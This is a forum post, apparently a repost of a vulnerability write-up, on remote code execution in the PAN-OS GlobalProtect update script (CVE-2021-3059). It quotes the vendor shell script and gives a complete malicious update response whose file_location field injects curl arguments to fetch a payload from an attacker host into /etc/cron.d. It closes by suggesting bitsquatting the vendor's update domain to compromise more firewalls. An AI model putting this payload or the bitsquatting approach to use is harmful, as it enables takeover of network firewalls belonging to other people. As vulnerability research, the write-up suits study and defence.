« Back to the Da Slop Pit Forum

pan-os rce in dynamic slopdates (cve-2021-3059)

Posted by rqu69

posted

Forum: Da Slop Pit Group

every hour, a cron job on pan-os runs the /usr/local/bin/pan-gpdatafile-updater script. this is a shell script which checks for updates to some data files used by the system.
at a high level, the script will:
- check if there is an update available from the server.
- if there are no updates available, don't do anything
- if there are updates available, use the URL returned by the update check endpoint to fetch the update.
When checking for updates and when fetching updates from the server, PAN-OS seems to use --insecure by default.

APIKEY=`python /sbin/get_user_key_cryptod.py curl_api_key`
#---snip---
#check for API-KEY
if [ "$APIKEY" = "" ]
  then
    apikeyparam='&apiKey='
    secure='--insecure'
  else
    apikeyparam='&apiKey='$APIKEY
    if [ "$UPDATE_SERVER_CHECK" == "True" ]
      then
       secure='--capath '$capath
      else
        echo "API Key is set and verify update server identity is not enabled" >> $AV_LOG_FILE
        Exit -1
    fi   
fi

When $APIKEY is empty, --insecure is used.

$ python /sbin/get_user_key_cryptod.py curl_api_key
$

On my system, this value is always empty.

Because of this an attacker who can intercept network traffic can modify responses.

The initial update check is

DATACENTER_ANSWER=`curl --digest --connect-timeout 60 --retry 3 --tlsv1.2 $secure -o - $option_interface --config $curlrcfile --data '@/tmp/.av_data_file.tmp' https://$UPDATE_SERVER/updatessvc/updateservice.asmx/CheckForGPUpdate`

After this, the script looks for the url of the new update file, if it exists

FILE_LOCATION=`echo $DATACENTER_ANSWER | egrep -o '<file_location>.*</file_location>' | /bin/sed 's/<file_location>//' | /bin/sed 's/<\/file_location>//'`
if [ $FILE_LOCATION ]; then
    echo "$(date) : file location $FILE_LOCATION" >> $AV_LOG_FILE
else
    echo "$(date) : Cannot find file location" >> $AV_LOG_FILE
    Exit -1
fi

There are also similar checks for <result>, <file_version>, and <encryption_key> fields in the response.

after these checks, the new file is fetched from $FILE_LOCATION:

HEADERS=`curl -vv --digest --connect-timeout 60 --retry 3 --tlsv1.2 $secure $option_interface --config $curlrcfile -o $ENCRYPTED_FILE $FILE_LOCATION 2>&1`

By manipulating $FILE_LOCATION, we can inject arbitrary arguments in the curl command. The only restriction is that $FILE_LOCATION must expand to a valid expression in the above `if [ $FILE_LOCATION ]` check. luckily, -a is ignored by curl for GET requests, and it can be used to get arbitrary parameters past the if check.

my final payload downloads a file from an attacker-controlled server and writes it to cron.d:

<result>New version found.</result>
<file_version>1337</file_version>
<file_location>file:///etc/passwd -a -:a -a -ak -a https:///<attacker_host>/payload -o /etc/cron.d/payload</file_location>
<encryption_key>owowhatsthis</encryption_key>

although you could also use the --log-script flag that i described here so you don't need to host your payload elsewhere.

as a simple poc, you can host this file on any https site at `/updatessvc/updateservice.asmx/CheckForGPUpdate` and set your firewalls update server to this. or if you want to own a few more firewalls, you can bitsquat the default server, updates.paloaltonetworks.com, and see what traffic comes your way.

kthxbai


Report Topic

0 Replies